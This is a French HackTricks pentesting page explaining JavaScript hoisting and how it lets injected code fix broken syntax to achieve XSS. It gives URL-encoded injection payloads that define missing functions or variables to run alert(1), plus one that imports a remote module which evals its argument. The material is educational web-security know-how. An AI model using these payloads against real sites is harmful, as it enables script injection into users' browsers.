JS Hoisting

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Informations de base

En langage JavaScript, un mécanisme appelé Levée de JS est décrit où les déclarations de variables, fonctions, classes ou imports sont conceptuellement placées en haut de leur portée avant l'exécution du code. Ce processus est automatiquement effectué par le moteur JavaScript, qui parcourt le script en plusieurs passes.

Lors de la première passe, le moteur analyse le code pour vérifier les erreurs de syntaxe et le transforme en un arbre de syntaxe abstraite. Cette phase inclut la levée, un processus où certaines déclarations sont déplacées en haut du contexte d'exécution. Si la phase d'analyse est réussie, indiquant l'absence d'erreurs de syntaxe, l'exécution du script se poursuit.

Il est crucial de comprendre que :

  1. Le script doit être exempt d'erreurs de syntaxe pour que l'exécution ait lieu. Les règles de syntaxe doivent être strictement respectées.

  2. L'emplacement du code dans le script affecte l'exécution en raison de la levée, bien que le code exécuté puisse différer de sa représentation textuelle.

Types de Levée

Selon les informations de MDN, il existe quatre types distincts de levée en JavaScript :

  1. Levée de Valeur : Permet l'utilisation de la valeur d'une variable dans sa portée avant sa ligne de déclaration.

  2. Levée de Déclaration : Permet de référencer une variable dans sa portée avant sa déclaration sans provoquer d'ReferenceError, mais la valeur de la variable sera undefined.

  3. Ce type modifie le comportement dans sa portée en raison de la déclaration de la variable avant sa ligne de déclaration réelle.

  4. Les effets secondaires de la déclaration se produisent avant que le reste du code le contenant ne soit évalué.

En détail, les déclarations de fonction présentent un comportement de levée de type 1. Le mot-clé var démontre un comportement de type 2. Les déclarations lexicales, qui incluent let, const et class, montrent un comportement de type 3. Enfin, les instructions import sont uniques en ce sens qu'elles sont levées avec à la fois les comportements de type 1 et de type 4.

Scénarios

Par conséquent, si vous avez des scénarios où vous pouvez Injecter du code JS après l'utilisation d'un objet non déclaré, vous pourriez corriger la syntaxe en le déclarant (afin que votre code soit exécuté au lieu de générer une erreur) :

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie('leo','INJECTION')
test['cookie','injection']

Plus de scénarios

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if(config){
return;
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config;`-alert(1)`//`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:"https://try-to-catch.glitch.me/"+`
let config;`-alert(1)-`//`+""
}
})
}

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks:

Dernière mise à jour